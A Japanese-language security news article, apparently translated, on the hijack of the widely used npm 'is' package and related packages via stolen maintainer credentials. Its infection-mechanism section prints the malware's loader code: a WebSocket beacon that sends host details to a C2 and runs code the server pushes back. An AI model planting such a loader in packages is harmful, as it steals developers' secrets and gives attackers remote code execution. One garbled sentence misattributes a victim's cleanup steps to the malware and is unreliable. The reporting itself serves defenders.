npm ‘is’ Package With 2.8M Weekly Downloads Weaponized to Attack Developers
2025/07/29 CyberSecurityNews — npm を標的とするフィッシング攻撃の波は、280 万回/週のペースでプルされるユーティリティ “is” の乗っ取りにより、深刻度を増している。2025年7月19日に攻撃者は、盗み出したメンテナーの認証情報を用いて、悪意の “is” バージョン 3.3.1/5.0.0 をレジストリに登録した。それにより、通常の依存関係解決を通じて、バックドアがシームレスに拡散されていった。

この攻撃者は、eslint-config-prettier/got-fetch などの人気パッケージにも改竄を加えた。このような展開を思い出させるのは、JavaScript 開発者を標的とした、SolarWinds への組織的サプライチェーン攻撃の事例である。
プロジェクト内に入ると、改竄された “is” リリースが、 macOS/Linux/Windows において即座に実行されるが、汚染された eslint-config-prettier に埋め込まれる Windows 専用 DLL とは別のものである。
Socket.dev のアナリストが特定したのは、メモリ内でペイロードを再構築し、人間が判読できるアーティファクトをディスク上に残さない、高度に難読化された JavaScript ローダである。
同社のテレメトリによると、このマルウェアは、ホスト名/OS 詳細/CPU 情報/process.env 内の全変数を収集し、その情報を WebSocket C2 エンドポイントへとトンネリングする。
.webp)
上記の画像は、転送中のビーコンをキャプチャしたものであり、その影響はすでに顕在化している。ある開発者が報告しているのは、このインフォスティーラーは、”.npmrc” および “.gitconfig” を改ざんした後に、Chrome のセキュリティ・フラグを立て、SSD を強制交換し、認証情報を全面的にローテーションすることだ。
このマルウェアは、自身の “index.js” を上書きするため、単純な npm uninstall コマンドでは脅威を排除できない。つまり、ロック・ファイルを削除した後に、クリーンなソースから環境を再構築する必要がある。
感染メカニズム
この攻撃のコアは、パッケージのエントリポイントの先頭に挿入された、単純であり強力なコード・スニペットにある。
このコードは、偽装されたゲッターを通じて Node.js の内部 require を公開し、続いて ws ライブラリを動的にインポートし、暗号化された WebSocket を開き、ホストのフィンガープリントを取得した後に、C2 からストリーミングされた JavaScript を実行する。この攻撃チェーンにより、攻撃者は対話型シェルの利用を可能にする。
get "switch"() { return require; } // bypass restricted contexts
const os = this.switch("os");
const WS = this.switch("ws");
const sock = new WS("wss://");
sock.onopen = () => sock.send(JSON.stringify({
host: os.hostname(), plat: os.platform(), cwd: process.cwd()
}));
sock.onmessage = ({data}) => { new Function(data)(); }; // RCE
この、メモリ内における侵害チェーンは、静的解析エンジンを回避し、自身を書き換えることで永続化を図る。それにより、侵害されたパッケージがインストールされると、時限爆弾のように長期間にわたり残存することになる。
この攻撃で、npm の人気パッケージ “is” が乗っ取られた原因は、正規のメンテナー認証情報を盗まれたことにあります。その後に攻撃者は、改ざんしたバージョンをレジストリに登録し、通常の依存解決を通じて広範囲に感染させています。ご利用のチームは、十分に ご注意ください。よろしければ、npm で検索も、ご参照ください。
You must be logged in to post a comment.